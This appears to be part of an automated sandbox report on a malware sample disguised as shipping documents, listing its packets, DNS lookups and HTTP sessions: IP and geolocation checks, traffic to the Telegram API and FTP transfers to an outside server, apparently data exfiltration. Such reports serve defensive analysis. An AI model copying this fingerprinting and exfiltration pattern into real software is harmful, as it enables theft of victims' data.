Oct 11, 2024 09:35:30.230626106 CEST	443	49767	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:30.230719090 CEST	49767	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:30.232331991 CEST	49767	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:30.232352972 CEST	443	49767	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:30.232732058 CEST	443	49767	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:30.234064102 CEST	49767	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:30.275410891 CEST	443	49767	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:30.479307890 CEST	443	49767	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:30.479408026 CEST	443	49767	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:30.479485035 CEST	49767	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:30.485341072 CEST	49767	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:30.688242912 CEST	80	49768	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:30.689893007 CEST	49770	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:30.689960003 CEST	443	49770	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:30.690047026 CEST	49770	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:30.690274000 CEST	49770	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:30.690288067 CEST	443	49770	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:30.736502886 CEST	49768	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:31.373198032 CEST	443	49770	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:31.374777079 CEST	49770	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:31.374804974 CEST	443	49770	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:31.523684025 CEST	443	49770	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:31.523796082 CEST	443	49770	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:31.523894072 CEST	49770	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:31.524333954 CEST	49770	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:31.532440901 CEST	49768	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:31.533176899 CEST	49773	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:31.533231020 CEST	443	49773	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:31.533718109 CEST	49773	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:31.533718109 CEST	49773	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:31.533763885 CEST	443	49773	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:31.538187027 CEST	80	49768	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:31.538240910 CEST	49768	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:32.159507036 CEST	443	49773	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:32.159591913 CEST	49773	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:32.160963058 CEST	49773	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:32.160975933 CEST	443	49773	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:32.161223888 CEST	443	49773	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:32.168340921 CEST	49773	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:32.211443901 CEST	443	49773	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:32.442162991 CEST	443	49773	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:32.442223072 CEST	443	49773	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:32.442270994 CEST	49773	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:32.445235014 CEST	49773	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:35.949058056 CEST	49739	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:36.125556946 CEST	49203	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:36.131467104 CEST	21	49203	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:36.131584883 CEST	49203	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:36.139403105 CEST	49203	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:36.144942045 CEST	21	49203	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:36.145025969 CEST	49203	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:37.784018040 CEST	49744	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:37.930104971 CEST	49204	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:37.936006069 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:37.936126947 CEST	49204	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:38.569251060 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:38.569528103 CEST	49204	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:38.576181889 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:38.792526960 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:38.792690039 CEST	49204	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:38.799061060 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:39.098913908 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:39.099127054 CEST	49204	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:39.104547024 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:39.320677042 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:39.320897102 CEST	49204	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:39.327207088 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:39.653044939 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:39.653198004 CEST	49204	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:39.660329103 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:39.875978947 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:39.876336098 CEST	49204	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:39.881717920 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.098352909 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.098804951 CEST	49205	49693	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:40.103694916 CEST	49693	49205	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.103763103 CEST	49205	49693	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:40.103816032 CEST	49204	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:40.109006882 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.712950945 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.713203907 CEST	49205	49693	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:40.713260889 CEST	49205	49693	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:40.718409061 CEST	49693	49205	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.718453884 CEST	49693	49205	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.718482971 CEST	49693	49205	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.718516111 CEST	49693	49205	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.718543053 CEST	49693	49205	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.718569994 CEST	49693	49205	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.718621969 CEST	49693	49205	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.718755960 CEST	49205	49693	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:40.767746925 CEST	49204	21	192.168.2.4	185.230.141.85
Oct 11, 2024 09:35:40.935658932 CEST	21	49204	185.230.141.85	192.168.2.4
Oct 11, 2024 09:35:40.986507893 CEST	49204	21	192.168.2.4	185.230.141.85

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 09:35:16.010059118 CEST	52047	53	192.168.2.4	1.1.1.1
Oct 11, 2024 09:35:16.016813993 CEST	53	52047	1.1.1.1	192.168.2.4
Oct 11, 2024 09:35:17.360287905 CEST	59773	53	192.168.2.4	1.1.1.1
Oct 11, 2024 09:35:17.367681980 CEST	53	59773	1.1.1.1	192.168.2.4
Oct 11, 2024 09:35:29.577244043 CEST	53575	53	192.168.2.4	1.1.1.1
Oct 11, 2024 09:35:29.584856033 CEST	53	53575	1.1.1.1	192.168.2.4
Oct 11, 2024 09:35:33.619982958 CEST	53	50058	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 11, 2024 09:35:16.010059118 CEST	192.168.2.4	1.1.1.1	0xd02a	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 11, 2024 09:35:17.360287905 CEST	192.168.2.4	1.1.1.1	0x5f83	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 11, 2024 09:35:29.577244043 CEST	192.168.2.4	1.1.1.1	0xdd29	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 11, 2024 09:35:16.016813993 CEST	1.1.1.1	192.168.2.4	0xd02a	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 11, 2024 09:35:16.016813993 CEST	1.1.1.1	192.168.2.4	0xd02a	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 11, 2024 09:35:16.016813993 CEST	1.1.1.1	192.168.2.4	0xd02a	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 11, 2024 09:35:16.016813993 CEST	1.1.1.1	192.168.2.4	0xd02a	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 11, 2024 09:35:16.016813993 CEST	1.1.1.1	192.168.2.4	0xd02a	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 11, 2024 09:35:16.016813993 CEST	1.1.1.1	192.168.2.4	0xd02a	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 11, 2024 09:35:17.367681980 CEST	1.1.1.1	192.168.2.4	0x5f83	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 11, 2024 09:35:17.367681980 CEST	1.1.1.1	192.168.2.4	0x5f83	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 11, 2024 09:35:29.584856033 CEST	1.1.1.1	192.168.2.4	0xdd29	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	132.226.247.73	80	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:16.036529064 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:16.912301064 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:16 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c4874257964a303b893ea68cb1d0ec0b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 11, 2024 09:35:16.955323935 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 11, 2024 09:35:17.159961939 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:17 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2bb44a9af14d57792bf6214d8e8e14d5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 11, 2024 09:35:19.588538885 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 11, 2024 09:35:19.794353008 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 962865c0a07ad0e17457b6d349faa106 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	132.226.247.73	80	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:19.655952930 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:20.348445892 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:20 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e73e8903fdfe815900b754a756349417 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 11, 2024 09:35:20.352443933 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 11, 2024 09:35:20.562414885 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:20 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4bd78b2ea030520662e3fe02a1b5ff89 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 11, 2024 09:35:21.261548042 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 11, 2024 09:35:21.471304893 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:21 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5074595cc6ece634abbf1a5aa3f65b70 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	132.226.247.73	80	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:20.430373907 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 11, 2024 09:35:21.096147060 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:20 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 58f8a8c67194d528afb001cd9be54295 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49743	132.226.247.73	80	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:21.694551945 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:22.381772041 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:22 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2e900d54ced6b7be60f9d3a0d7774a94 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	132.226.247.73	80	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:22.090209007 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 11, 2024 09:35:22.754828930 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:22 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 83c50c5da8485f990b581e20dfef45ff Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	132.226.247.73	80	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:23.046443939 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:23.718689919 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 605d1ead0d7a7faecb146c791b8e7142 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	132.226.247.73	80	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:23.389908075 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:24.079411983 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 597bed303afd75dbc76ed96699ee7a8c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49751	132.226.247.73	80	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:24.356801033 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:25.028584957 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:24 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 607f0d06f6333d37e7635fc25491abe8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49752	132.226.247.73	80	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:24.698442936 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:25.362610102 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:25 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f4159d9fcb6eb2024ece26655d2a8723 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	132.226.247.73	80	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:25.644639969 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:26.318897963 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:26 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: fc272f3232c7b23c18dd822ed8c05d0e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	132.226.247.73	80	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:25.983186007 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
